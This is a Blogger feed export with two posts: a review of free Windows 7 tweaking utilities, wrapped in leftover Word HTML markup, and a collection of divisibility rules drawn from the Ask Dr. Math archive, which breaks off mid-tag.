tag:blogger.com,1999:blog-43989094822286283942024-02-20T03:41:37.215-08:00santoshSantosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.comBlogger11125tag:blogger.com,1999:blog-4398909482228628394.post-91731729671702636132009-09-06T03:21:00.000-07:002009-09-06T03:27:36.783-07:007 free Windows 7 tweaking utilities<meta equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 11"><meta name="Originator" content="Microsoft Word 11"><link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"><link rel="Edit-Time-Data" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_editdata.mso"><!--[if !mso]> <style> v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} </style> <![endif]--><o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="place"></o:smarttagtype><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:punctuationkerning/> <w:validateagainstschemas/> <w:saveifxmlinvalid>false</w:SaveIfXMLInvalid> <w:ignoremixedcontent>false</w:IgnoreMixedContent> <w:alwaysshowplaceholdertext>false</w:AlwaysShowPlaceholderText> <w:compatibility> <w:breakwrappedtables/> <w:snaptogridincell/> <w:wraptextwithpunct/> <w:useasianbreakrules/> <w:dontgrowautofit/> </w:Compatibility> <w:browserlevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:latentstyles deflockedstate="false" latentstylecount="156"> </w:LatentStyles> </xml><![endif]--><!--[if !mso]><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object> <style> st1\:*{behavior:url(#ieooui) } </style> <![endif]--><style> <!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} h2 {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; mso-outline-level:2; font-size:18.0pt; font-family:"Times New Roman";} a:link, span.MsoHyperlink {color:blue; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {color:purple; text-decoration:underline; text-underline:single;} p.byline, li.byline, div.byline {mso-style-name:byline; mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} @page Section1 {size:8.5in 11.0in; margin:1.0in 0in 1.0in .25in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} </style> <![endif]--> <h2><u>7 free Windows 7 tweaking utilities<o:p></o:p></u></h2> <p class="byline"><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"> <v:f eqn="sum @0 1 0"> <v:f eqn="sum 0 0 @1"> <v:f eqn="prod @2 1 2"> <v:f eqn="prod @3 21600 pixelWidth"> <v:f eqn="prod @3 21600 pixelHeight"> <v:f eqn="sum @0 0 1"> <v:f eqn="prod @6 1 2"> <v:f eqn="prod @7 21600 pixelWidth"> <v:f eqn="sum @8 21600 0"> <v:f eqn="prod @7 21600 pixelHeight"> <v:f eqn="sum @10 21600 0"> </v:formulas> <v:path extrusionok="f" gradientshapeok="t" connecttype="rect"> <o:lock ext="edit" aspectratio="t"> </v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" alt="Windows" style="'width:12pt;height:12pt'"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image001.gif" href="http://www.downloadsquad.com/media/win-swipe.gif"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/santosh/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif" alt="Windows" shapes="_x0000_i1025" width="16" height="16" /><!--[endif]--></p> <p class="MsoNormal" style="text-align: center;" align="center"><!--[if gte vml 1]><v:shape id="_x0000_i1026" type="#_x0000_t75" style="'width:412.5pt;height:291.75pt'"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image002.jpg" title="untitled"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/santosh/LOCALS%7E1/Temp/msohtml1/01/clip_image002.jpg" shapes="_x0000_i1026" width="550" height="389" /><!--[endif]--></p> <p class="MsoNormal" style="margin-bottom: 12pt;">If you're running the Windows 7 RC, chances are good that you're the kind of user that likes to monkey around with settings and tweak your OS. While you can go the DIY route and hack your registry and run your mouse ragged clicking through various control panel screens, there are a number of good, free apps available designed to simplify tweaking.
<br />
<br />Pro tip: if you run one of these apps, use their built-in checkpoint creator before committing changes or create a system restore point yourself - just in case something goes awry.
<br />
<br />Here are five - go ahead and add your picks in the comments if you don't see your favorite listed!</p> <p class="MsoNormal"><strong><a href="http://www.seriousbit.com/tweak_windows_7/">EnhanceMySe7en</a></strong> (pictured above) - One strike against EM7 is that you must install it. On the plus side, it's 32 and 64-bit (native). On the minus side, it uses 65Mb memory when running. On the plus side, it comes with a free frogurt!
<br />
<br />Joking aside, EM7 is absolutely packed with options. Apart from tweaks covering every nook and cranny in Windows 7, the program also includes CCleaner-like registry and disk cleaning tools, a shortcut creator, fast access to many built-in Windows utilities, and much, much more. It's a beast.</p> <p class="MsoNormal" style="text-align: center;" align="center"><a href="http://leelusoft.blogspot.com/2009/05/windows-7-little-tweaker.html"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shape id="vimage_2" spid="_x0000_i1027" type="#_x0000_t75" alt="" style="'width:340.5pt;" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image003.jpg" href="http://www.blogcdn.com/www.downloadsquad.com/media/2009/05/little-twe-safasfas.jpg"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/santosh/LOCALS%7E1/Temp/msohtml1/01/clip_image003.jpg" shapes="vimage_2" vspace="4" width="454" border="0" height="335" hspace="4" /><!--[endif]--></span></a></p> <p class="MsoNormal" style="margin-bottom: 12pt;"><a href="http://www.youtube.com/watch?v=aMS0O3kknvk"><b>Little Tweaker</b></a> - Lightweight, portable, and focused on common adjustments, Little Tweaker is a good option for those of you who want an uncomplicated way to manipulate the context menu, disk space warnings, and the like. it failed to run on x64, telling me that I needed to have Windows 7 Ultimate installed (which I do).</p> <p class="MsoNormal" style="text-align: center;" align="center"><a href="http://www.winvistaclub.com/Ultimate_Windows_Tweaker.html"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shape id="vimage_3" spid="_x0000_i1028" type="#_x0000_t75" alt="" style="'width:412.5pt;" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image004.jpg" href="http://www.blogcdn.com/www.downloadsquad.com/media/2009/05/ulti-sdf-sa-dfsfdsfd.jpg"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/santosh/LOCALS%7E1/Temp/msohtml1/01/clip_image004.jpg" shapes="vimage_3" vspace="4" width="550" border="0" height="368" hspace="4" /><!--[endif]--></span></a></p> <p class="MsoNormal" style="margin-bottom: 12pt;"><a href="http://www.winvistaclub.com/Ultimate_Windows_Tweaker.html"><b>Ultimate Windows Tweaker</b></a> - It's impressive what the crew at WinVistaClub is able to cram into less than 200Kb. Ultimate was built for <st1:place st="on">Vista</st1:place>, but it works just fine with Windows 7 as well. Loads of options cover everything from accounts and UAC to the taskbar and start menu and beyond. UWT is totally portable.</p> <p class="MsoNormal" style="text-align: center;" align="center"><a href="http://xenomorph.net/?page_id=336"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shape id="vimage_4" spid="_x0000_i1029" type="#_x0000_t75" alt="" style="'width:375pt;height:308.25pt;" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image005.jpg" href="http://www.blogcdn.com/www.downloadsquad.com/media/2009/05/xdn-sfd-a-f-safd-sdf.jpg"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/santosh/LOCALS%7E1/Temp/msohtml1/01/clip_image005.jpg" shapes="vimage_4" vspace="4" width="500" border="0" height="411" hspace="4" /><!--[endif]--></span></a></p> <p class="MsoNormal" style="margin-bottom: 12pt;"><a href="http://xenomorph.net/?page_id=336"><b>XDN Tweaker</b></a> - This one falls somewhere in between Little Tweaker and Ultimate. It's a good choice for the average user - not quite the overwhelming number of choices of EM7 or Ultimate, but more than just basic interface tweaks. XDn is available as both a portable and installable app.</p> <p class="MsoNormal" style="text-align: center;" align="center"><a href="http://www.yamicsoft.com/windows7manager/index.html"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shape id="vimage_6" spid="_x0000_i1030" type="#_x0000_t75" alt="" style="'width:412.5pt;" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image006.jpg" href="http://www.blogcdn.com/www.downloadsquad.com/media/2009/05/manager-fd--f-fdfdafsdsdf.jpg"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/santosh/LOCALS%7E1/Temp/msohtml1/01/clip_image006.jpg" shapes="vimage_6" vspace="4" width="550" border="0" height="394" hspace="4" /><!--[endif]--></span></a></p> <p class="MsoNormal" style="margin-bottom: 12pt;"><a href="http://www.yamicsoft.com/windows7manager/index.html"><b>Windows 7 Manager</b></a> - As the name implies, this one boasts non-tweaking features as well. System cleanup, privacy tools, process monitoring, an uninstaller, a duplicate file finder, and a handy repair center are all included. On the tweaking side, everything from UI customization to network and IE settings is easy to monkey with. This one's available in 32 and 64-bit flavors as an installer only.</p> <p class="MsoNormal" style="text-align: center;" align="center"><a href="http://www.tweaknow.com/powerPack.html"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shape id="vimage_5" spid="_x0000_i1031" type="#_x0000_t75" alt="" style="'width:412.5pt;height:229.5pt;" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image007.jpg" href="http://www.blogcdn.com/www.downloadsquad.com/media/2009/05/tweaknow-asfd-as-fds.jpg"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/santosh/LOCALS%7E1/Temp/msohtml1/01/clip_image007.jpg" shapes="vimage_5" vspace="4" width="550" border="0" height="306" hspace="4" /><!--[endif]--></span></a></p> <p class="MsoNormal"><a href="http://www.tweaknow.com/powerPack.html"><b>TweakNow Power Pack 2009</b></a> - Like EM7, TweakNow is much more than a tweaking tool. It also sports registry cleaning and tuning tools, a disk usage analyzer, history cleaner, startup manager, and more. The interface is well-organized, and if you can't find a setting you want to tweak with PowerPack it might not exist.
<br />
<br />TweakNow is install-only, but it's worth doing for the additional built-in utilities (if you need them, of course). One big gripe: once I heard my fan spin up to tornado speed, I called up task manager. 48% CPU use. Ouch!</p> <p class="MsoNormal" style="margin-left: -9pt;"><o:p> </o:p></p> Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-76691947626768757592009-09-03T09:24:00.000-07:002009-09-03T09:25:19.943-07:00Calculation Tips & Tricks<span style="font-weight: bold;"> Calculation Tips & Tricks</span><br /><span style="font-weight: bold;"> Divisibility Rules</span><br /><span style="font-weight: bold;">Why do these 'rules' work? - Dr. Rob</span><br /><span style="font-weight: bold;">Divisibilidad por 13 y por números primos (13,17,19...) </span><br /><span style="font-weight: bold;">- en español, de la lista SNARK</span><br /><span style="font-weight: bold;">From the Archives of the Math Forum's Internet project Ask Dr. Math - our thanks to Ethan 'Dr. Math' Magness, Steven 'Dr. Math' Sinnott, and, for the explanation of why these rules work, Robert L. Ward (Dr. Rob).</span><br /><span style="font-weight: bold;"> Dividing by 3 </span><br /><span style="font-weight: bold;">Add up the digits: if the sum is divisible by three, then the number is as well. Examples: </span><br /><span style="font-weight: bold;">1. 111111: the digits add to 6 so the whole number is divisible by three. </span><br /><span style="font-weight: bold;">2. 87687687. The digits add up to 57, and 5 plus seven is 12, so the original number is divisible by three. </span><br /><span style="font-weight: bold;">Why does the 'divisibility by 3' rule work?</span><br /><span style="font-weight: bold;">From: Dr. Math</span><br /><span style="font-weight: bold;">To: Kevin Gallagher</span><br /><span style="font-weight: bold;">Subject: Re: Divisibility of a number by 3</span><br /><span style="font-weight: bold;">As Kevin Gallagher wrote to Dr. Math</span><br /><span style="font-weight: bold;">On 5/11/96 at 21:35:40 (Eastern Time),</span><br /><span style="font-weight: bold;">>I'm looking for a SIMPLE way to explain to several very bright 2nd </span><br /><span style="font-weight: bold;">>graders why the divisibility by 3 rule works, i.e. add up all the </span><br /><span style="font-weight: bold;">>digits; if the sum is evenly divisible by 3, then the number is as well.</span><br /><span style="font-weight: bold;">>Thanks!</span><br /><span style="font-weight: bold;">>Kevin Gallagher</span><br /><span style="font-weight: bold;">The only way that I can think of to explain this would be as follows: Look</span><br /><br /><br /><span style="font-weight: bold;">at a 2 digit number: 10a+b=9a+(a+b). We know that 9a is divisible by 3, so 10a+b will be divisible by 3 if and only if a+b is. Similarly, 100a+10b+c=99a+9b+(a+b+c), and 99a+9b is divisible by 3, so the total will be iff a+b+c is. </span><br /><span style="font-weight: bold;">This explanation also works to prove the divisibility by 9 test. It clearly originates from modular arithmetic ideas, and I'm not sure if it's simple enough, but it's the only explanation I can think of.</span><br /><span style="font-weight: bold;">Doctor Darren, The Math Forum</span><br /><span style="font-weight: bold;">Check out our web site - http://mathforum.org/dr.math/ </span><br /><span style="font-weight: bold;"> Dividing by 4 </span><br /><span style="font-weight: bold;">Look at the last two digits. If the number formed by its last two digits is divisible by 4, the original number is as well. </span><br /><span style="font-weight: bold;">Examples: </span><br /><span style="font-weight: bold;">3. 100 is divisible by 4. </span><br /><span style="font-weight: bold;">4. 1732782989264864826421834612 is divisible by four also, because 12 is divisible by four. </span><br /><span style="font-weight: bold;"> Dividing by 5 </span><br /><span style="font-weight: bold;">If the last digit is a five or a zero, then the number is divisible by 5. </span><br /><span style="font-weight: bold;"> Dividing by 6 </span><br /><span style="font-weight: bold;">Check 3 and 2. If the number is divisible by both 3 and 2, it is divisible by 6 as well. </span><br /><span style="font-weight: bold;">Robert Rusher writes in: </span><br /><span style="font-weight: bold;">Another easy way to tell if a [multi-digit] number is divisible by six . . .</span><br /><span style="font-weight: bold;">is to look at its [ones digit]: if it is even, and the sum of the [digits] is</span><br /><span style="font-weight: bold;">a multiple of 3, then the number is divisible by 6.</span><br /><span style="font-weight: bold;"> Dividing by 7 </span><br /><span style="font-weight: bold;">To find out if a number is divisible by seven, take the last digit, double it, and subtract it from the rest of the number. </span><br /><span style="font-weight: bold;">Example: If you had 203, you would double the last digit to get six, and subtract that from 20 to get 14. If you get an answer divisible by 7 (including zero) , then the original number is divisible by seven. If you don't know the new number's divisibility, you can apply the rule again. </span><br /><span style="font-weight: bold;">Matthew Correnti describes this method: </span><br /><span style="font-weight: bold;">If you do not know if a two-digit number, call it ab, is</span><br /><span style="font-weight: bold;">divisible </span><br /><span style="font-weight: bold;">by 7, calculate 2a + 3b. This will yield a smaller number, and if </span><br /><span style="font-weight: bold;">you do the process enough times you will eventually -- if the </span><br /><span style="font-weight: bold;">number ab is divisible by 7 -- end up with 7.</span><br /><br /><span style="font-weight: bold;">You can use a similar method if you have a three-digit number abc: </span><br /><span style="font-weight: bold;">take the digit a and multiply it by 2, then add it to the number bc, </span><br /><span style="font-weight: bold;">giving you 2a + bc; repeat and reduce until you recognize the </span><br /><span style="font-weight: bold;">result's divisibility by seven. With a four-digit number abcd, take </span><br /><span style="font-weight: bold;">the digit a and multiply by 6, then add 6a to bcd giving. This </span><br /><span style="font-weight: bold;">usually gives you a three-digit number; call it xyz. Take that x </span><br /><span style="font-weight: bold;">and, as described previously, multiply x by two and add to yz </span><br /><span style="font-weight: bold;">(i.e., 2x + yz). Again, repeat and reduce until you recognize the </span><br /><span style="font-weight: bold;">result's divisibility by seven.</span><br /><span style="font-weight: bold;">Ahmed Al Harthy writes in: </span><br /><span style="font-weight: bold;">To know if a number is a multiple of seven or not, we can use also </span><br /><span style="font-weight: bold;">3 coefficients (1 , 2 , 3). We multiply the first number starting </span><br /><span style="font-weight: bold;">from the ones place by 1, then the second from the right by 3, </span><br /><span style="font-weight: bold;">the third by 2, the fourth by -1, the fifth by -3, the sixth by -2, </span><br /><span style="font-weight: bold;">and the seventh by 1, and so forth.</span><br /><br /><span style="font-weight: bold;">Example: 348967129356876. </span><br /><br /><span style="font-weight: bold;">6 + 21 + 16 - 6 - 15 - 6 + 9 + 6 + 2 - 7 - 18 - 18 + 8 + 12 + 6 = 16 </span><br /><span style="font-weight: bold;">means the number is not multiple of seven.</span><br /><br /><span style="font-weight: bold;">If the number was 348967129356874, then the number is a multiple of seven </span><br /><span style="font-weight: bold;">because instead of 16, we would find 14 as a result, which is a multiple of 7. </span><br /><br /><span style="font-weight: bold;">So the pattern is as follows: for a number onmlkjihgfedcba, calculate</span><br /><br /><span style="font-weight: bold;">a + 3b + 2c - d - 3e - 2f + g + 3h + 2i - j - 3k - 2l + m + 3n + 2o.</span><br /><br /><span style="font-weight: bold;">Example: 348967129356874.</span><br /><br /><span style="font-weight: bold;">Below each digit let me write its respective figure.</span><br /><br /><span style="font-weight: bold;">3 4 8 9 6 7 1 2 9 3 5 6 8 7 6 </span><br /><span style="font-weight: bold;">2 3 1 -2 -3 -1 2 3 1 -2 -3 -1 2 3 1</span><br /><br /><span style="font-weight: bold;">(3×2) + (4×3) + (8×1) + (9×-2) + (6×-3) + (7×-1) + </span><br /><span style="font-weight: bold;">(1×2) + (2×3) + (9×1) + (3×-2) + (5×-3) + (6×-1) + </span><br /><span style="font-weight: bold;">(8×2) + (7×3) + (6×1) = 16 -- not a multiple of seven.</span><br /><span style="font-weight: bold;">Another visitor observes: </span><br /><span style="font-weight: bold;">Here is one formula for seven...</span><br /><br /><span style="font-weight: bold;">3X + L</span><br /><br /><span style="font-weight: bold;">L = last digit</span><br /><span style="font-weight: bold;">X = everything in front of last digit.</span><br /><br /><span style="font-weight: bold;">All numbers that are divisible by seven have this in common. </span><br /><span style="font-weight: bold;">There are no exceptions.</span><br /><br /><span style="font-weight: bold;">For example, 42: 3(4) + 2 = 14.</span><br /><span style="font-weight: bold;">Seven divides into 14, so it divides into 42.</span><br /><br /><span style="font-weight: bold;">Next example, 105: 3(10) + 5 = 35.</span><br /><span style="font-weight: bold;">Seven divides into 35, so it divides into 105.</span><br /><br /><span style="font-weight: bold;">Here is another formula for seven:</span><br /><br /><span style="font-weight: bold;">4X - L</span><br /><br /><span style="font-weight: bold;">When using this formula, if you get zero, seven or a multiple of seven, </span><br /><span style="font-weight: bold;">the number will be divisible by seven.</span><br /><br /><span style="font-weight: bold;">For example, 56: 4(5) - 6 = 14.</span><br /><span style="font-weight: bold;">Seven divides into 14, so it divides into 56.</span><br /><br /><span style="font-weight: bold;">Next example, 168: 16(4) - 8 = 56.</span><br /><span style="font-weight: bold;">Seven divides into 56, so it divides into 168.</span><br /><br /><span style="font-weight: bold;">Similarly:</span><br /><span style="font-weight: bold;"> The formula for 2 is 2X + L</span><br /><span style="font-weight: bold;">The formula for 3 is 4X + L</span><br /><span style="font-weight: bold;">The formula for 4 is 6X + L</span><br /><span style="font-weight: bold;">The formula for 5 is 5X + L</span><br /><span style="font-weight: bold;">The formula for 6 is 2X + L and 4X + L -- in other words, the formulas for 2 and 3</span><br /><span style="font-weight: bold;"> must work before the number is divisible by 6.</span><br /><span style="font-weight: bold;">The formula for 9 is X + L</span><br /><span style="font-weight: bold;">The formula for 11 is X - L</span><br /><span style="font-weight: bold;">The formula for 12 is 2X - L</span><br /><span style="font-weight: bold;">The formula for 13 is 3X - L</span><br /><span style="font-weight: bold;">The formula for 14 is 4X - L and 2X + L -- in other words, the formulas for 7 and 2 </span><br /><span style="font-weight: bold;"> must work before the number is divisible by 14.</span><br /><span style="font-weight: bold;">The formula for 17 is 7X - L</span><br /><span style="font-weight: bold;">The formula for 21 is X - 2L</span><br /><span style="font-weight: bold;">The formula for 23 is 3X - 2L</span><br /><span style="font-weight: bold;">The formula for 31 is X - 3L</span><br /><span style="font-weight: bold;">Sara Heikali explains this way to test a number with three or more digits for divisibility by seven: </span><br /><span style="font-weight: bold;">1. Write down just the digits in the tens and ones places.</span><br /><span style="font-weight: bold;">2. Take the other numbers to the left of those last two digits, </span><br /><span style="font-weight: bold;">and multiply them by two.</span><br /><span style="font-weight: bold;">3. Add the answer from step two to the number from step one.</span><br /><span style="font-weight: bold;">4. If the sum from step three is divisible by seven, then the </span><br /><span style="font-weight: bold;">original number is divisible by seven, as well. If the sum is </span><br /><span style="font-weight: bold;">not divisible by seven, then the original number is not </span><br /><span style="font-weight: bold;">divisible by seven.</span><br /><br /><span style="font-weight: bold;">For example, if the number we are testing is 112, then</span><br /><span style="font-weight: bold;">1. Write down just the digits in the tens and ones places: 12.</span><br /><span style="font-weight: bold;">2. Take the other numbers to the left of those last two digits, </span><br /><span style="font-weight: bold;">and multiply them by two: 1 × 2 = 2.</span><br /><span style="font-weight: bold;">3. Add the answer from step two to the number from step one: </span><br /><span style="font-weight: bold;">12 + 2 = 14.</span><br /><span style="font-weight: bold;">4. Fourteen is divisible be seven. Therefore, our original </span><br /><span style="font-weight: bold;">number, one hundred twelve, is also divisible by seven.</span><br /><span style="font-weight: bold;">See also Explaining the Divisibility Rule for 7 in the Dr. Math archives. </span><br /><span style="font-weight: bold;"> Dividing by 8 </span><br /><span style="font-weight: bold;">Check the last three digits. Since 1000 is divisible by 8, if the last three digits of a number are divisible by 8, then so is the whole number.</span><br /><span style="font-weight: bold;">Example: 33333888 is divisible by 8; 33333886 isn't. </span><br /><span style="font-weight: bold;">How can you tell whether the last three digits are divisible by 8? Phillip McReynolds answers: </span><br /><span style="font-weight: bold;">If the first digit is even, the number is divisible by 8 if the last two digits are. If the first digit is odd, subtract 4 from the last two digits; the number will be divisible by 8 if the resulting last two digits are. So, to continue the last example, 33333888 is divisible by 8 because the digit in the hundreds place is an even number, and the last two digits are 88, which is divisible by 8. 33333886 is not divisible by 8 because the digit in the hundreds place is an even number, but the last two digits are 86, which is not divisible by 8. </span><br /><span style="font-weight: bold;">Sara Heikali explains this test of divisibility by eight for numbers with</span><br /><span style="font-weight: bold;">three or more digits: </span><br /><span style="font-weight: bold;">1. Write down the units digit of the original number.</span><br /><span style="font-weight: bold;">2. Take the other numbers to the left of the last digit,</span><br /><span style="font-weight: bold;">and multiply them by two.</span><br /><span style="font-weight: bold;">3. Add the answer from step two to the number from step one.</span><br /><span style="font-weight: bold;">4. If the sum from step three is divisible by eight, then the </span><br /><span style="font-weight: bold;">original number is divisible by eight, as well. If the sum is </span><br /><span style="font-weight: bold;">not divisible by eight, then the original number is not </span><br /><span style="font-weight: bold;">divisible by eight.</span><br /><br /><span style="font-weight: bold;">For example, if the number we are testing is 104, then</span><br /><span style="font-weight: bold;">1. Write down just the digits in ones place: 4.</span><br /><span style="font-weight: bold;">2. Take the other numbers to the left of that last digit,</span><br /><span style="font-weight: bold;">and multiply them by two: 10 × 2 = 20.</span><br /><span style="font-weight: bold;">3. Add the answer from step two to the number from step one:</span><br /><span style="font-weight: bold;">4 + 20 = 24.</span><br /><span style="font-weight: bold;">4. Twenty-four is divisible be eight. Therefore, our original</span><br /><span style="font-weight: bold;">number, one hundred and four, is also divisible by eight.</span><br /><span style="font-weight: bold;"> Dividing by 9 </span><br /><span style="font-weight: bold;">Add the digits. If that sum is divisible by nine, then the original number is as well. </span><br /><span style="font-weight: bold;"> Dividing by 10 </span><br /><span style="font-weight: bold;">If the number ends in 0, it is divisible by 10. </span><br /><span style="font-weight: bold;"> Dividing by 11 </span><br /><span style="font-weight: bold;">Let's look at 352, which is divisible by 11; the answer is 32. 3+2 is 5; another way to say this is that 35 -2 is 33. </span><br /><span style="font-weight: bold;">Now look at 3531, which is also divisible by 11. It is not a coincidence that 353-1 is 352 and 11 × 321 is 3531. </span><br /><span style="font-weight: bold;">Here is a generalization of this system. Let's look at the number 94186565. </span><br /><span style="font-weight: bold;">First we want to find whether it is divisible by 11, but on the way we are going to save the numbers that we use: in every step we will subtract the last digit from the other digits, then save the subtracted amount in order. Start with</span><br /><span style="font-weight: bold;"> 9418656 - 5 = 9418651 SAVE 5</span><br /><span style="font-weight: bold;"> Then 941865 - 1 = 941864 SAVE 1</span><br /><span style="font-weight: bold;"> Then 94186 - 4 = 94182 SAVE 4</span><br /><span style="font-weight: bold;"> Then 9418 - 2 = 9416 SAVE 2</span><br /><span style="font-weight: bold;"> Then 941 - 6 = 935 SAVE 6</span><br /><span style="font-weight: bold;"> Then 93 - 5 = 88 SAVE 5</span><br /><span style="font-weight: bold;"> Then 8 - 8 = 0 SAVE 8</span><br /><span style="font-weight: bold;">Now write the numbers we saved in reverse order, and we have 8562415, which multiplied by 11 is 94186565.</span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">Here's an even easier method, contributed by Chis Foren:</span><br /><span style="font-weight: bold;">Take any number, such as 365167484.</span><br /><span style="font-weight: bold;">Add the first, third, fifth, seventh,.., digits.....3 + 5 + 6 + 4 + 4 = 22 </span><br /><span style="font-weight: bold;">Add the second, fourth, sixth, eighth,.., digits.....6 + 1 + 7 + 8 = 22 </span><br /><span style="font-weight: bold;">If the difference, including 0, is divisible by 11, then so is the number. </span><br /><span style="font-weight: bold;">22 - 22 = 0 so 365167484 is evenly divisible by 11.</span><br /><span style="font-weight: bold;">See also Divisibility by 11 in the Dr. Math archives. </span><br /><span style="font-weight: bold;"> Dividing by 12 </span><br /><span style="font-weight: bold;">Check for divisibility by 3 and 4. </span><br /><span style="font-weight: bold;"> Dividing by 13 </span><br /><span style="font-weight: bold;">Here's a straightforward method supplied by Scott Fellows:</span><br /><span style="font-weight: bold;">Delete the last digit from the given number. Then subtract nine times the deleted digit from the remaining number. If what is left is divisible by 13, then so is the original number. </span><br /><span style="font-weight: bold;">________________________________________</span><br /><span style="font-weight: bold;">Rafael Ando contributes:</span><br /><span style="font-weight: bold;">Instead of deleting the last digit and subtracting it ninefold from the remaining number (which works), you could also add the deleted digit fourfold. Both methods work because 91 and 39 are each multiples of 13. </span><br /><span style="font-weight: bold;">For any prime p (except 2 and 5), a rule of divisibility could be "created" using this method: </span><br /><span style="font-weight: bold;">2. Find m, such that m is the (preferably) smallest multiple of p that ends in either 1 or 9. </span><br /><span style="font-weight: bold;">3. Delete the last digit and add (if multiple ends in 9) or subtract (if it ends in 1) the deleted digit times the integer nearest to m/10. For example, if m = 91, the integer closest to 91/10 = 9.1 is 9; and for 3.9, it's 4. </span><br /><span style="font-weight: bold;">4. Verify if the result is a multiple of p. Use this process until it's obvious. </span><br /><span style="font-weight: bold;">Example 1: Let's see if 14281581 is a multiple of 17. </span><br /><span style="font-weight: bold;">In this case, m = 51 (which is 17×3), so we'll be deleting the last number and subtracting it fivefold. </span><br /><span style="font-weight: bold;">1428158 - 5×1 = 1428153 </span><br /><span style="font-weight: bold;">142815 - 5×3 = 142800 </span><br /><span style="font-weight: bold;">14280 - 5×0 = 14280 </span><br /><span style="font-weight: bold;">1428 - 5×0 = 1428 </span><br /><span style="font-weight: bold;">142 - 5×8 = 102 </span><br /><span style="font-weight: bold;">10 - 5×2 = 0, which is a multiple of 17, so 14281581 is multiple of 17. </span><br /><span style="font-weight: bold;">Example 2: Let's see if 7183186 is a multiple of 46. </span><br /><span style="font-weight: bold;">First, note that 46 is not a prime number, and its factorization is 2×23. So, 7183186 needs to be divisible by both 2 and 23. Since it's an even number, it's obviously divisible by 2. </span><br /><span style="font-weight: bold;">So let's verify that it is a multiple of 23: </span><br /><span style="font-weight: bold;">m = 3×23 = 69, which means we'll be adding the deleted digit sevenfold. </span><br /><span style="font-weight: bold;">718318 + 7×6 = 718360 </span><br /><span style="font-weight: bold;">71836 + 7×0 = 71836 </span><br /><span style="font-weight: bold;">7183 + 7×6 = 7225 </span><br /><span style="font-weight: bold;">722 + 7×5 = 757 </span><br /><span style="font-weight: bold;">75 + 7×7 = 124 </span><br /><span style="font-weight: bold;">12 + 7×4 = 40 </span><br /><span style="font-weight: bold;">4 + 7×0 = 4 (not divisible by 23), so 7183186 is not divisible by 46. </span><br /><span style="font-weight: bold;">Note that you could've stopped calculating whenever you find the result to be obvious (i.e., you don't need to do it until the end). For example, in example 1 if you recognize 102 as divisible by 17, you don't need to continue (likewise, if you recognized 40 as not divisible by 23). </span><br /><span 